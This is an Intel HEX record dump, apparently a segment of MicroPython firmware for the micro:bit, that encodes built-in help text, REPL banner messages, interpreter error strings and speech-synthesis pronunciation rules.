:1024D0006D696C6C697365636F6E6473206166749B :1024E00065720A656163682063686172616374651F :1024F000722E0A0055736520636C6561722829206D :10250000746F20636C656172206D6963726F3A62EB :102510006974277320646973706C61792E0A0055A1 :102520007365206765745F706978656C28782C2006 :10253000792920746F2072657475726E20746865D5 :1025400020646973706C61792773206272696768AF :10255000746E657373206174204C454420706978F3 :10256000656C2028782C79292E0A42726967687474 :102570006E6573732063616E2062652066726F6D95 :10258000203020284C4544206973206F666629203E :10259000746F203920286D6178696D756D204C4508 :1025A00044206272696768746E657373292E0A002D :1025B000557365207365745F706978656C28782C35 :1025C00020792C20622920746F2073657420746830 :1025D0006520646973706C6179206174204C454496 :1025E00020706978656C2028782C792920746F20F8 :1025F0006272696768746E657373202762270A7751 :10260000686963682063616E206265207365742069 :102610006265747765656E203020286F66662920B4 :10262000746F2039202866756C6C20627269676847 :10263000746E657373292E0A00557365206F6E28BA :102640002920746F207475726E206F6E2074686517 :1026500020646973706C61792E0A00557365206F70 :102660006666282920746F207475726E206F666606 :102670002074686520646973706C61792E0A005556 :1026800073652069735F6F6E282920746F207175E0 :1026900065727920696620746865206D6963726F60 :1026A0003A626974277320646973706C6179206978 :1026B00073206F6E20285472756529206F72206F09 :1026C0006666202846616C7365292E0A005573657D :1026D00020726561645F6C696768745F6C657665BC :1026E0006C282920746F20676574207468652061E8 :1026F0006D6269656E74206C69676874206C6576BC :10270000656C2C206265747765656E2030202864C6 :1027100061726B2920616E64203235352028627227 :1027200069676874292E0A006D6963726F3A62697D :102730007427732070696E2030206F6E2074686576 :1027400020676F6C64206564676520636F6E6E65DB :1027500063746F722E0A006D6963726F3A626974F6 :1027600027732070696E2031206F6E207468652099 :10277000676F6C64206564676520636F6E6E656368 :10278000746F722E0A006D6963726F3A6269742702 :10279000732070696E2032206F6E20746865206728 :1027A0006F6C64206564676520636F6E6E6563742B :1027B0006F722E0A006D6963726F3A6269742773D3 :1027C0002070696E2033206F6E2074686520676FFB :1027D0006C64206564676520636F6E6E6563746FFB :1027E000722E0A006D6963726F3A626974277320F2 :1027F00070696E2034206F6E2074686520676F6C7E :1028000064206564676520636F6E6E6563746F72C4 :102810002E0A006D6963726F3A62697427732070C3 :10282000696E2035206F6E2074686520676F6C6458 :10283000206564676520636F6E6E6563746F722ECA :102840000A006D6963726F3A626974277320706958 :102850006E2036206F6E2074686520676F6C642070 :102860006564676520636F6E6E6563746F722E0AB0 :10287000006D6963726F3A62697427732070696EC4 :102880002037206F6E2074686520676F6C64206548 :1028900064676520636F6E6E6563746F722E0A00E5 :1028A0006D6963726F3A62697427732070696E2074 :1028B00038206F6E2074686520676F6C64206564D3 :1028C000676520636F6E6E6563746F722E0A006DAC :1028D0006963726F3A62697427732070696E203978 :1028E000206F6E2074686520676F6C642065646774 :1028F0006520636F6E6E6563746F722E0A006D697A :1029000063726F3A62697427732070696E20313088 :10291000206F6E2074686520676F6C642065646743 :102920006520636F6E6E6563746F722E0A006D6949 :1029300063726F3A62697427732070696E20313157 :10294000206F6E2074686520676F6C642065646713 :102950006520636F6E6E6563746F722E0A006D6919 :1029600063726F3A62697427732070696E20313226 :10297000206F6E2074686520676F6C6420656467E3 :102980006520636F6E6E6563746F722E0A006D69E9 :1029900063726F3A62697427732070696E203133F5 :1029A000206F6E2074686520676F6C6420656467B3 :1029B0006520636F6E6E6563746F722E0A006D69B9 :1029C00063726F3A62697427732070696E203134C4 :1029D000206F6E2074686520676F6C642065646783 :1029E0006520636F6E6E6563746F722E0A006D6989 :1029F00063726F3A62697427732070696E20313593 :102A0000206F6E2074686520676F6C642065646752 :102A10006520636F6E6E6563746F722E0A006D6958 :102A200063726F3A62697427732070696E20313661 :102A3000206F6E2074686520676F6C642065646722 :102A40006520636F6E6E6563746F722E0A006D6928 :102A500063726F3A62697427732070696E2031392E :102A6000206F6E2074686520676F6C6420656467F2 :102A70006520636F6E6E6563746F722E0A006D69F8 :102A800063726F3A62697427732070696E20323006 :102A9000206F6E2074686520676F6C6420656467C2 :102AA0006520636F6E6E6563746F722E0A006D69C8 :102AB00063726F3A6269742C2077726974655F641F :102AC00069676974616C2863686F6963652920743C :102AD0006F207468652070696E2E20596F752068AC :102AE0006176652074776F202763686F6963652757 :102AF0002076616C7565732C0A3020286C6F292054 :102B00006F72203120286869292E0A006D6963726E :102B10006F3A6269742C20726561645F64696769E9 :102B200074616C28292076616C75652066726F6D02 :102B3000207468652070696E20617320656974680F :102B40006572203020286C6F29206F722031202878 :102B50006869292E0A006D6963726F3A6269742C84 :102B60002077726974655F616E616C6F672876614A :102B70006C75652920746F207468652070696E2EED :102B800020596F752063616E2075736520616E79C1 :102B90002076616C7565206265747765656E0A30B4 :102BA00020616E6420313032332E0A006D69637209 :102BB0006F3A6269742C20726561645F616E616C4A :102BC0006F6728292076616C75652066726F6D20AD :102BD0007468652070696E2E20576F772C20616EA7 :102BE000616C6F6720686173206C6F7473206F660F :102BF0002076616C7565730A2830202D20363535B6 :102C00003335292E204469676974616C20686173CB :102C1000206F6E6C79203020616E6420312E0A00A6 :102C200049662070696E2069735F746F75636865AB :102C3000642829206F6E206D6963726F3A6269742F :102C40002C2072657475726E20547275652E204941 :102C500066206E6F7468696E6720697320746F7583 :102C60006368696E67207468652070696E2C0A72EB :102C7000657475726E2046616C73652E0A00436F31 :102C80006D6D756E69636174652077697468206F16 :102C90006E65206F72206D6F7265206E616D656468 :102CA000206465766963657320636F6E6E65637417 :102CB000656420746F206D6963726F3A6269742E67 :102CC0002045616368206E616D65640A646576699C :102CD00063652068617320616E202761646472659A :102CE0007373272C20636F6D6D756E6963617465F6 :102CF00073207573696E67204932432C20616E64BE :102D000020636F6E6E6563747320746F20746865E2 :102D100020492F4F2070696E732E0A00557365206D :102D20007265616428616464726573732C206E2916 :102D300020746F207265616420276E272062797489 :102D400065732066726F6D207468652064657669AE :102D500063652077697468207468697320616464AE :102D6000726573732E0A00557365207772697465F6 :102D700028616464726573732C206275666665727F :102D80002920746F20777269746520746F207468CD :102D900065202762756666657227206F66207468F5 :102DA0006520646576696365206174207468697361 :102DB000202761646472657373272E0A005573655A :102DC00020696E6974286672657175656E63792C09 :102DD0002073636C2C207364612920746F207365E9 :102DE00074207468652062757320667265717565FC :102DF0006E637920616E642070696E732E0A0043E1 :102E0000726561746520616E6420757365206275FA :102E1000696C742D696E20494D4147455320746F8C :102E20002073686F77206F6E207468652064697303 :102E3000706C61792E205573653A0A496D6167653A :102E4000280A20202730393039303A270A20202715 :102E500039393939393A270A202027393939393966 :102E60003A270A20202730393939303A270A2020DA :102E70002730303930303A27290A2E2E2E746F2011 :102E80006D616B652061206E65772035783520682F :102E90006561727420696D6167652E204E756D6283 :102EA00065727320676F2066726F6D203020286F07 :102EB00066662920746F20392028627269676874F9 :102EC000657374292E204E6F74650A7468652063DB :102ED0006F6C6F6E20273A2720746F207365742003 :102EE00074686520656E64206F66206120726F775C :102EF0002E0A0052657475726E20746865207769B9 :102F0000647468206F662074686520696D61676508 :102F100020696E20706978656C732E0A00526574A2 :102F200075726E2074686520686569676874206FC3 :102F3000662074686520696D61676520696E207020 :102F40006978656C732E0A00557365206765745F38 :102F5000706978656C28782C20792920746F20722C :102F6000657475726E2074686520696D6167652788 :102F700073206272696768746E6573732061742070 :102F80004C454420706978656C2028782C79292E6E :102F90000A4272696768746E6573732063616E209C :102FA00062652066726F6D203020284C4544206990 :102FB00073206F66662920746F203920286D617830 :102FC000696D756D204C4544206272696768746E46 :102FD000657373292E0A00557365207365745F70DD :102FE0006978656C28782C20792C20622920746FF0 :102FF0002073657420746865204C4544207069789E :10300000656C2028782C792920696E2074686520E9 :10301000696D61676520746F206272696768746E9C :103020006573730A27622720776869636820636184 :103030006E20626520736574206265747765656EC5 :10304000203020286F66662920746F20392028667A :10305000756C6C206272696768746E657373292E73 :103060000A005573652073686966745F6C656674E1 :1030700028692920746F206D616B65206120636F62 :103080007079206F662074686520696D61676520BE :10309000627574206D6F76656420276927207069DA :1030A00078656C7320746F20746865206C65667435 :1030B0002E0A005573652073686966745F726967CC :1030C000687428692920746F206D616B6520612008 :1030D000636F7079206F662074686520696D616721 :1030E0006520627574206D6F7665642027692720DE :1030F000706978656C7320746F0A746865207269F2 :103100006768742E0A005573652073686966745F7A :10311000757028692920746F206D616B65206120AE :10312000636F7079206F662074686520696D6167D0 :103130006520627574206D6F76656420276927208D :10314000706978656C732075702E0A005573652060 :1031500073686966745F646F776E28692920746F7D :10316000206D616B65206120636F7079206F662030 :1031700074686520696D61676520627574206D6F84 :103180007665642027692720706978656C732064F0 :103190006F776E2E0A0055736520636F707928294A :1031A00020746F206D616B652061206E65772065EE :1031B0007861637420636F7079206F66207468652E :1031C00020696D6167652E0A005573652063726F13 :1031D000702878312C2079312C2078322C207932CB :1031E0002920746F206D616B652061206375742DDB :1031F0006F757420636F7079206F66207468652026 :10320000696D61676520776865726520636F6F72AD :1032100064696E6174650A2878312C7931292069D6 :10322000732074686520746F70206C656674206309 :103230006F726E6572206F662074686520637574A6 :103240002D6F7574206172656120616E6420636FFB :103250006F7264696E617465202878322C79322926 :10326000206973207468650A626F74746F6D2072D0 :103270006967687420636F726E65722E0A005573F9 :103280006520696E76657274282920746F206D61DF :103290006B652061206E6567617469766520636F78 :1032A0007079206F662074686520696D6167652E8E :1032B000205768657265206120706978656C207799 :1032C000617320627269676874206F720A6F6E2082 :1032D000696E20746865206F726967696E616C2C15 :1032E0002069742069732064696D206F72206F6695 :1032F0006620696E20746865206E65676174697602 :103300006520636F70792E0A00436F6D6D756E696D :1033100063617465207769746820612073657269E0 :10332000616C2064657669636520636F6E6E6563AA :1033300074656420746F206D6963726F3A6269749A :10334000277320492F4F2070696E732E0A00557322 :103350006520696E6974282920746F207365742054 :10336000757020636F6D6D756E69636174696F6EE2 :103370002E205573652070696E73203020285458B4 :103380002920616E642031202852582920776974E1 :1033900068206120626175640A72617465206F66DD :1033A00020393630302E0A4F766572726964652096 :1033B0007468652064656661756C747320666F72ED :1033C00020276261756472617465272C2027706103 :1033D000726974792720616E64202770696E732783 :1033E0002E0A004966207468657265206172652046 :1033F000696E636F6D696E67206368617261637483 :103400006572732077616974696E6720746F2062DA :103410006520726561642C20616E792829207769A6 :103420006C6C2072657475726E20547275652E0A0C :103430004F74686572776973652C20726574757254 :103440006E732046616C73652E0A00557365207299 :10345000656164282920746F207265616420636847 :1034600061726163746572732E0A557365207265AB :103470006164286E2920746F20726561642C20615C :1034800074206D6F73742C20276E27206279746509 :1034900073206F6620646174612E0A005573652085 :1034A000726561646C696E65282920746F2072658D :1034B00061642061206C696E6520746861742065A8 :1034C0006E647320776974682061206E65776C691B :1034D0006E65206368617261637465722E0A0055BF :1034E00073652072656164696E746F286275662900 :1034F00020746F207265616420627974657320693D :103500006E746F2074686520627566666572202728 :10351000627566272E0A5573652072656164696E4F :10352000746F28627566662C206E2920746F207275 :103530006561642C206174206D6F73742C20276E7C :1035400027206E756D626572206F662062797465E2 :103550007320696E746F2027627566272E0A0055E6 :103560007365207772697465286275662920746FA7 :103570002077726974652074686520627974657358 :1035800020696E20627566666572202762756627FF :1035900020746F2074686520636F6E6E6563746558 :1035A00064206465766963652E0A00436F6D6D75EE :1035B0006E6963617465207573696E67206120733D :1035C000657269616C207065726970686572616CA2 :1035D00020696E74657266616365202853504929BD :1035E0002064657669636520636F6E6E65637465DC :1035F0006420746F0A6D6963726F3A62697427732D :1036000020492F4F2070696E732E0A005573652074 :10361000696E6974282920746F2073657420757031 :1036200020636F6D6D756E69636174696F6E2E20B6 :103630004F7665727269646520746865206465669A :1036400061756C747320666F72206261756472615B :1036500074652C206D6F64652C0A53434C4B2C20F1 :103660004D4F534920616E64204D49534F2E2054D5 :1036700068652064656661756C7420636F6E6E6545 :103680006374696F6E73206172652070696E313387 :1036900020666F722053434C4B2C2070696E31357D :1036A00020666F720A4D4F534920616E6420706925 :1036B0006E313420666F72204D49534F2E0A0055EB :1036C0007365207772697465286275662920746F46 :1036D00020777269746520627974657320696E2041 :1036E00062756666657220276275662720746F2092 :1036F00074686520636F6E6E6563746564206465CD :10370000766963652E0A00557365207265616428C9 :103710006E2920746F207265616420276E272062F5 :1037200079746573206F6620646174612E0A005598 :1037300073652077726974655F72656164696E7420 :103740006F286F75742C20696E2920746F20777232 :103750006974652074686520276F75742720627509 :103760006666657220746F2074686520636F6E6E84 :103770006563746564206465766963650A616E6477 :10378000207265616420616E7920726573706F6E5E :10379000736520696E746F207468652027696E27D1 :1037A000206275666665722E20546865206C656EB1 :1037B000677468206F662074686520627566666548 :1037C00072732073686F756C640A62652074686533 :1037D0002073616D652E205468652062756666658C :1037E00072732063616E2062652074686520736166 :1037F0006D65206F626A6563742E0A00506C756790 :1038000020696E206120737065616B657220776935 :1038100074682063726F636F64696C6520636C69A0 :10382000707320616E64206D616B65206D696372D9 :103830006F3A62697420676F20626C656570206101 :103840006E6420626C6F6F702E0A00557365207372 :1038500065745F74656D706F286E756D6265722C2E :103860002062706D2920746F206D616B652061206E :1038700062656174206C617374206120276E756DC0 :1038800062657227206F66207469636B73206C6FAA :103890006E6720616E640A706C6179656420617482 :1038A000202762706D2720626561747320706572D5 :1038B000206D696E7574652E0A00557365207069F8 :1038C00074636828667265712C206C656E67746815 :1038D0002920746F206D616B65206D6963726F3A8A :1038E00062697420706C61792061206E6F7465204C :1038F000617420276672657127206672657175652F :103900006E637920666F720A276C656E677468272C :10391000206D696C6C697365636F6E64732E2045EE :103920002E672E207069746368283434302C20315F :10393000303030292077696C6C20706C617920639D :103940006F6E636572742027412720666F72203185 :10395000207365636F6E642E0A0055736520706C6A :103960006179286D757369632920746F206D616BAF :1039700065206D6963726F3A62697420706C617959 :1039800020276D7573696327206C697374206F66D7 :10399000206E6F7465732E20547279206F757420B9 :1039A0007468650A6275696C7420696E206D757340 :1039B000696320746F2073656520686F7720697470 :1039C00020776F726B732E20452E672E206D7573D6 :1039D00069632E706C6179286D757369632E50551B :1039E0004E43484C494E45292E0A005573652067C1 :1039F00065745F74656D706F282920746F2072651F :103A00007475726E20746865206E756D62657220C3 :103A10006F66207469636B7320696E206120626534 :103A2000617420616E64206E756D626572206F66D0 :103A30002062656174730A706572206D696E7574B9 :103A4000652E0A0055736520746F2073746F70289B :103A50002920746865206D757369632074686174CA :103A600020697320706C6179696E672E0A0049665F :103A7000207468696E677320676F2077726F6E6756 :103A80002C207265736574282920746865206D7513 :103A900073696320746F206974732064656661754F :103AA0006C742073657474696E67732E0A005365B5 :103AB000653A20687474703A2F2F786B63642E63B4 :103AC0006F6D2F3335332F0A00546865205A656EA9 :103AD000206F6620507974686F6E20646566696E29 :103AE0006573207768617420697420697320746F2E :103AF00020626520507974686F6E69632E20497466 :103B000020776F756C646E277420666974206F6E01 :103B100020746869730A64657669636520736F2031 :103B20007765277665207772697474656E206120E9 :103B30005A656E206F66204D6963726F50797468A4 :103B40006F6E20696E73746561642E0A005573652B :103B500020617574686F7273282920746F207265F4 :103B60007665616C20746865206E616D6573206F89 :103B700066207468652070656F706C652077686F6B :103B80002063726561746564207468697320736F63 :103B90006674776172652E0A00416C6C20796F75CE :103BA000206E6565642E20557365206C6F76652EDA :103BB00062616461626F6F6D282920746F20726585 :103BC0007065617420746865206566666563742E2F :103BD0000A0048656172206D7920736F756C2073DF :103BE0007065616B3A0A5468652076657279206960 :103BF0006E7374616E7420746861742049207361FF :103C00007720796F752C206469640A4D7920686586 :103C100061727420666C7920746F20796F757220E0 :103C2000736572766963652E0A0057656C636F6D04 :103C30006520746F204D6963726F507974686F6E80 :103C4000206F6E20746865206D6963726F3A6269D7 :103C500074210A0A54727920746865736520636F51 :103C60006D6D616E64733A0A2020646973706C61D3 :103C7000792E7363726F6C6C282748656C6C6F27A4 :103C8000290A202072756E6E696E675F74696D65B2 :103C900028290A2020736C6565702831303030295E :103CA0000A2020627574746F6E5F612E69735F7095 :103CB00072657373656428290A5768617420646F9C :103CC00020746865736520636F6D6D616E64732029 :103CD000646F3F2043616E20796F7520696D70724B :103CE0006F7665207468656D3F2048494E543A20D0 :103CF0007573652074686520757020616E6420643A :103D00006F776E0A6172726F77206B6579732074BA :103D10006F2067657420796F757220636F6D6D61B8 :103D20006E6420686973746F72792E2050726573A7 :103D3000732074686520544142206B657920746F4C :103D4000206175746F2D636F6D706C6574650A7595 :103D50006E66696E697368656420776F726473203C :103D600028736F2027646927206265636F6D657310 :103D70002027646973706C617927206166746572AD :103D800020796F7520707265737320544142292E1B :103D90002054686573650A747269636B732073617C :103DA00076652061206C6F74206F6620747970696D :103DB0006E6720616E64206C6F6F6B20636F6F6C39 :103DC000210A0A4578706C6F72653A0A54797065F9 :103DD000202768656C7028736F6D657468696E67FD :103DE000292720746F2066696E64206F75742061C6 :103DF000626F75742069742E205479706520276471 :103E0000697228736F6D657468696E6729272074FD :103E10006F2073656520776861740A697420636137 :103E20006E20646F2E205479706520276469722893 :103E3000292720746F20736565207768617420736B :103E40007475666620697320617661696C61626C65 :103E5000652E20466F7220676F6F646E65737320E6 :103E600073616B652C0A646F6E27742074797065BA :103E70002027696D706F72742074686973272E0A29 :103E80000A436F6E74726F6C20636F6D6D616E6448 :103E9000733A0A20204354524C2D432020202020E6 :103EA0002020202D2D2073746F7020612072756E7C :103EB0006E696E672070726F6772616D0A202043B1 :103EC00054524C2D4420202020202020202D2D2015 :103ED0006F6E206120626C616E6B206C696E652C68 :103EE00020646F206120736F66742072657365743F :103EF000206F6620746865206D6963726F3A62692D :103F0000740A20204354524C2D452020202020208C :103F100020202D2D20656E7465722070617374658C :103F2000206D6F64652C207475726E696E67206FEA :103F30006666206175746F2D696E64656E740A0A19 :103F4000466F722061206C697374206F6620617601 :103F500061696C61626C65206D6F64756C65732C52 :103F600020747970652068656C7028276D6F6475A2 :103F70006C657327290A0A466F72206D6F7265207F :103F8000696E666F726D6174696F6E2061626F75C4 :103F90007420507974686F6E2C2076697369743A56 :103FA00020687474703A2F2F707974686F6E2E6F5A :103FB00072672F0A546F2066696E64206F757420D3 :103FC00061626F7574204D6963726F507974686FA8 :103FD0006E2C2076697369743A20687474703A2F75 :103FE0002F6D6963726F707974686F6E2E6F726770 :103FF0002F0A507974686F6E2F6D6963726F3A6221 :10400000697420646F63756D656E746174696F6E39 :1040100020697320686572653A2068747470733A19 :104020002F2F6D6963726F6269742D6D6963726F92 :10403000707974686F6E2E72656164746865646F00 :1040400063732E696F2F0A00626164207479706552 :10405000636F646500636F6D706C65782076616C6A :10406000756573206E6F7420737570706F727465F0 :104070006400696E76616C69642073796E7461782E :1040800020666F72206E756D62657200696E7428AD :1040900029206172672032206D757374206265205B :1040A0003E3D203220616E64203C3D203336006965 :1040B0006E76616C69642073796E74617820666FC6 :1040C0007220696E74656765722077697468206212 :1040D00061736520256400706F702066726F6D20BB :1040E000656D707479206C69737400416C6C6F63DA :1040F0006174696F6E20696E20696E746572727585 :1041000070742068616E646C6572006E6F742061FB :104110006E20417564696F4672616D6500696E64F9 :104120006578206F7574206F6620626F756E64739A :104130000063616E6E6F742064656C6574652065E4 :104140006C656D656E7473206F6620417564696F70 :104150004672616D650063616E6E6F742073657485 :104160002072657475726E5F70696E20776974680D :104170006F75742070696E00F2F2FEFE506C7573FC :1041800020616E79206D6F64756C6573206F6E2091 :104190007468652066696C6573797374656D0A006F :1041A0006F626A6563742000206973206F662074F3 :1041B0007970652025730A00202D2D20006F626A1A :1041C000656374207769746820627566666572201D :1041D00070726F746F636F6C207265717569726550 :1041E0006400257120696E6469636573206D757361 :1041F0007420626520696E7465676572732C206E29 :104200006F7420257300257120696E646578206FB6 :104210007574206F662072616E6765006F626A65F3 :1042200063742027257327206973206E6F742061C3 :10423000207475706C65206F72206C6973740072E5 :104240006571756573746564206C656E677468204C :10425000256420627574206F626A656374206861EA :1042600073206C656E6774682025640063616E2737 :104270007420636F6E7665727420257320746F20CE :10428000666C6F61740063616E277420636F6E7675 :1042900065727420257320746F20696E74006F62DC :1042A0006A656374206F66207479706520272573B2 :1042B0002720686173206E6F206C656E282900547A :1042C000726163656261636B20286D6F7374207225 :1042D0006563656E742063616C6C206C6173742916 :1042E0003A0A00202046696C6520222571222C2084 :1042F0006C696E65202564002C20696E2025710A8A :10430000003C25713E0027257327206F626A656394 :104310007420646F6573206E6F7420737570706F96 :104320007274206974656D2064656C6574696F6E64 :104330000027257327206F626A65637420697320E4 :104340006E6F742073756273637269707461626CEE :10435000650027257327206F626A65637420646F88 :104360006573206E6F7420737570706F727420693E :1043700074656D2061737369676E6D656E74006C32 :104380006F63616C207661726961626C6520726531 :10439000666572656E636564206265666F7265202E :1043A00061737369676E6D656E7400627974652000 :1043B000636F6465206E6F7420696D706C656D65E8 :1043C0006E746564004E6F20616374697665206564 :1043D0007863657074696F6E20746F2072657261A6 :1043E0006973650000000402020402000002040474 :1043F000040002020004040301000001030303009F :10440000010102030304020101030104030100038B :104410000000040101020000030200000402020483 :10442000020000020404040002020004040301006C :10443000000103030300010102030304020101035D :104440000104030100030000040101020000030253 :104450006E6F7420616E20696D61676500627269BC :104460006768746E657373206F7574206F66206261 :104470006F756E64730045727220333636383300C0 :10448000457272203336383934005DC12028412E00 :10449000293D454834592EA0284129203D41C820B6 :1044A0002841524529203D4141D220284152294FDF :1044B0003D4158D228415229233D454834D2205EFF :1044C00028415329233D455934D328412957413D9B :1044D00041D8284157293D414FB5203A28414E59EE :1044E000293D4548344E49D92841295E2B233D4575 :1044F00059B5233A28414C4C59293D554C49D920AE :1045000028414C29233D55CC28414741494E293D5E :10451000415847454834CE233A28414729453D492B :1045200048CA2841295E253D45D92841295E2B3AB4 :10453000233D41C5203A2841295E2B203D4559B4F1 :104540002028415252293D4158D228415252293DFA :10455000414534D2205E28415229203D414135D287 :10456000284152293D414135D228414952293D45F2 :104570004834D2284149293D4559B4284159293D5B :104580004559B5284155293D414FB4233A28414C5E :1045900029203D55CC233A28414C5329203D554CE8 :1045A000DA28414C4B293D414F34CB28414C295E00 :1045B0003D414FCC203A2841424C45293D45593494 :1045C0004255CC2841424C45293D41584255CC28C2 :1045D0004129564F3D4559B428414E47292B3D4569 :1045E00059344ECA284154415249293D4148544109 :1045F00041345249D9284129544F4D3D41C52841A4 :10460000295454493D41C52028415429203D414564 :10461000D420284129543D41C82841293D41C55D48 :10462000C220284229203D424959B4202842452928 :104630005E233D4249C8284245494E47293D4249EB :10464000593449484ED82028424F544829203D42E9 :104650004F573454C8202842555329233D424948D6 :1046600034DA28425245414B293D4252455935CB17 :10467000284255494C293D42494834CC2842293DDD :10468000C25DC320284329203D534959B420284303 :1046900048295E3DCB5E45284348293DCB28434809 :1046A000412952233D4B4548B5284348293D43C83D :1046B000205328434929233D534159B428434929CC :1046C000413D53C8284349294F3D53C828434929F0 :1046D000454E3D53C82843495459293D53494854F0 :1046E00049D92843292B3DD328434B293DCB284387 :1046F0004F4D4D4F444F5245293D4B4141344D4163 :1047000048444F48D228434F4D293D4B4148CD287E :1047100043554954293D4B4948D4284352454129E2 :104720003D4B52495945D92843293DCB5DC42028EA :104730004429203D444959B4202844522E29203D83 :10474000444141344B5445D2233A2844454429201E :104750003D444948C42E45284429203DC4233A5E9F :1047600045284429203DD420284445295E233D4442 :1047700049C82028444F29203D4455D72028444F7C :104780004553293D444148DA28444F4E4529203DB0 :1047900044414835CE28444F494E47293D4455575A :1047A0003449484ED82028444F57293D4441D72307 :1047B00028445529413D4A55D723284455295E238D :1047C0003D4A41D82844293DC45DC52028452920BB :1047D0003D49594959B4233A28452920BD273A5E15 :1047E00028452920BD203A284529203D49D923289C :1047F000454429203DC4233A2845294420BD284565 :10480000562945523D454834D62845295E253D491F :1048100059B42845524929233D4959345249D92888 :10482000455249293D4548345249C8233A28455202 :1048300029233D45D2284552524F52293D454834FF :10484000524F48D2284552415345293D4948524587 :104850005935D328455229233D4548D22845522968 :104860003D45D220284556454E293D495956454893 :10487000CE233A28452957BD40284557293D55D7CD :10488000284557293D5955D72845294F3D49D92312 :104890003A2628455329203D4948DA233A28452914 :1048A0005320BD233A28454C5929203D4C49D92352 :1048B0003A28454D454E54293D4D45484ED428454E :1048C00046554C293D465548CC284545293D495932 :1048D000B4284541524E293D455235CE2028454108 :1048E00052295E3D4552B528454144293D4548C4BD :1048F000233A28454129203D495941D82845412995 :1049000053553D4548B5284541293D4959B52845A8 :10491000494748293D4559B4284549293D4959B495 :104920002028455945293D4159B4284559293D4933 :10493000D9284555293D595557B528455155414C1C :10494000293D4959344B5755CC2845293D45C85D2B :10495000C620284629203D454834C62846554C29BE :104960003D465548CC28465249454E44293D46527D :104970004548354EC428464154484552293D464194 :104980004134444845D228462946BD2846293DC6DB :104990005DC720284729203D4A4959B42847495630 :1049A000293D47494835D620284729495E3DC72833 :1049B000474529543D474548B55355284747455332 :1049C000293D474A454834D3284747293DC7204217 :1049D000232847293DC72847292B3DCA2847524548 :1049E0004154293D4752455934D428474F4E294513 :1049F0003D47414F35CE2328474829BD2028474E03 :104A0000293DCE2847293DC75DC820284829203D9B :104A100045593443C82028484156293D2F4841452F :104A200036D6202848455245293D2F484959D2209D :104A300028484F5552293D41573545D228484F57B0 :104A4000293D2F4841D7284829233D2FC8284829E8 :104A5000BD5DC92028494E293D4948CE2028492915 :104A6000203D4159B4284929203D41D928494E29A2 :104A7000443D415935CE53454D2849293D49D9201A :104A8000414E542849293D41D928494552293D499B :104A90005945D2233A522849454429203D4959C411 :104AA0002849454429203D415935C42849454E29C6 :104AB0003D49594548CE28494529543D4159344539 :104AC000C8284927293D4159B5203A2849295E255A :104AD0003D4159B5203A28494529203D4159B4283E :104AE0004929253D49D9284945293D4959B4202816 :104AF00049444541293D41594449593541C828490E :104B0000295E2B3A233D49C828495229233D415962 :104B1000D228495A29253D4159DA28495329253DAA :104B20004159DA495E2849295E233D49C82B5E2850 :104B300049295E2B3D41D9233A5E2849295E2B3D08 :104B400049C82849295E2B3D41D9284952293D456C :104B5000D228494748293D4159B428494C44293D68 :104B60004159354CC4202849474E293D494847CE34 :104B70002849474E29203D415934CE2849474E29DE :104B80005E3D415934CE2849474E29253D4159348F :104B9000CE284943524F293D4159344B524FC828E2 :104BA00049515545293D495934CB2849293D49C8E2 :104BB0005DCA20284A29203D4A4559B4284A293D42 :104BC000CA5DCB20284B29203D4B4559B420284BAA :104BD000294EBD284B293DCB5DCC20284C29203DBA :104BE000454834CC284C4F2943233D4C4FD74C28C3 :104BF0004C29BD233A5E284C29253D55CC284C45EF :104C00004144293D4C4959C420284C415547482925 :104C10003D4C414534C6284C293DCC5DCD20284D26 :104C200029203D454834CD20284D522E29203D4D88 :104C3000494834535445D220284D532E293D4D49DF :104C40004835DA20284D52532E29203D4D4948340D :104C5000534958DA284D4F56293D4D555734D628DB :104C60004D414348494E293D4D41485348495935E6 :104C7000CE4D284D29BD284D293DCD5DCE20284E55 :104C800029203D454834CE45284E47292B3D4ECA64 :104C9000284E4729523D4E58C7284E4729233D4E9E :104CA00058C7284E474C29253D4E584755CC284ECD :104CB00047293D4ED8284E4B293D4E58CB20284EF3 :104CC0004F5729203D4E4157B44E284E29BD284EFE :104CD0004F4E29453D4E414834CE284E293DCE5DAC :104CE000CF20284F29203D4F4834D7284F46292030 :104CF0003D4148D620284F4829203D4F57B5284FE1 :104D0000524F554748293D4552344FD7233A284FF3 :104D10005229203D45D2233A284F525329203D4560 :104D200052DA284F52293D414FD220284F4E452973 :104D30003D574148CE23284F4E4529203D574148F5 :104D4000CE284F57293D4FD720284F564552293D51 :104D50004F57355645D25052284F29563D5557B4D6 :104D6000284F56293D414834D6284F295E253D4FCE :104D700057B5284F295E454E3D4FD7284F295E49EC :104D8000233D4F57B5284F4C29443D4F5734CC282D :104D90004F55474854293D414F35D4284F55474832 :104DA000293D414835C620284F55293D41D748283F :104DB0004F552953233D4157B4284F5553293D4161 :104DC00058D3284F5552293D4F48D2284F554C446F :104DD000293D554835C4284F55295E4C3D4148B5BD :104DE000284F5550293D555735D0284F55293D411D :104DF000D7284F59293D4FD9284F494E47293D4F74 :104E0000573449484ED8284F49293D4F59B5284F66 :104E10004F52293D4F4835D2284F4F4B293D5548D9 :104E200035CB46284F4F44293D555735C44C284F64 :104E30004F44293D414835C44D284F4F44293D55E5 :104E40005735C4284F4F44293D554835C446284F4F :104E50004F54293D554835D4284F4F293D5557B516 :104E6000284F27293D4FC8284F29453D4FD7284F68 :104E700029203D4FD7284F41293D4F57B420284F77 :104E80004E4C59293D4F57344E4C49D920284F4E4E :104E90004345293D574148344ED3284F4E27542986 :104EA0003D4F57344ED443284F294E3D41C1284FE2 :104EB000294E473D41CF203A5E284F294E3D41C8FB :104EC00049284F4E293D55CE233A284F4E293D556E :104ED000CE235E284F4E293D55CE284F2953543DB1 :104EE0004FD7284F46295E3D414F34C6284F54487E :104EF0004552293D414835444845D252284F294220 :104F00003D5241C15E52284F293A233D4F57B528A3 :104F10004F535329203D414F35D3233A5E284F4DFF :104F2000293D4148CD284F293D41C15DD020285021 :104F300029203D504959B4285048293DC62850459C :104F40004F504C293D504959355055CC28504F575A :104F5000293D504157B42850555429203D505548BB :104F6000D428502950BD28502953BD2850294EBD62 :104F70002850524F462E293D50524F4846454834FE :104F80005345D22850293DD05DD120285129203DBC :104F90004B595557B42851554152293D4B574F480D :104FA00035D2285155293D4BD72851293DCB5DD2CB :104FB00020285229203D414135D220285245295EE2 :104FC000233D5249D928522952BD2852293DD25D4C :104FD000D320285329203D454834D3285348293D20 :104FE00053C8232853494F4E293D5A4855CE28537C :104FF0004F4D45293D534148CD2328535552292330 :105000003D5A4845D22853555229233D534845D24D :105010002328535529233D5A4855D7232853535500 :1050200029233D534855D72328534544293D5AC485 :1050300023285329233DDA2853414944293D534528 :1050400048C45E2853494F4E293D534855CE2853F6 